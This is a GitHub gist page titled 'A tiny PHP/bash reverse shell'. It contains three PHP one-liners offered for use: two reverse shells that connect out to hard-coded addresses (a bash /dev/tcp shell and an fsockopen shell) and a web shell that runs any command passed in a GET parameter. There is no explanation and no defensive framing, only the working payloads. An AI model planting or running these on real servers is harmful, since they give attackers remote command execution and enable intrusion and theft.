Skip to content

Instantly share code, notes, and snippets.

@podjackel
Forked from rshipp/shell.php
Last active January 4, 2023 20:16
Show Gist options
  • Save podjackel/4d2c6938289f3a2366ccc8cea447350d to your computer and use it in GitHub Desktop.
Save podjackel/4d2c6938289f3a2366ccc8cea447350d to your computer and use it in GitHub Desktop.
A tiny PHP/bash reverse shell.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); ?>
<?php $sock=fsockopen("10.11.0.150",443); exec("/bin/sh -i <&3 >&3 2>&3"); ?>
<?php $output = shell_exec($_GET["cmd"]);echo "<pre>$output</pre>";?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment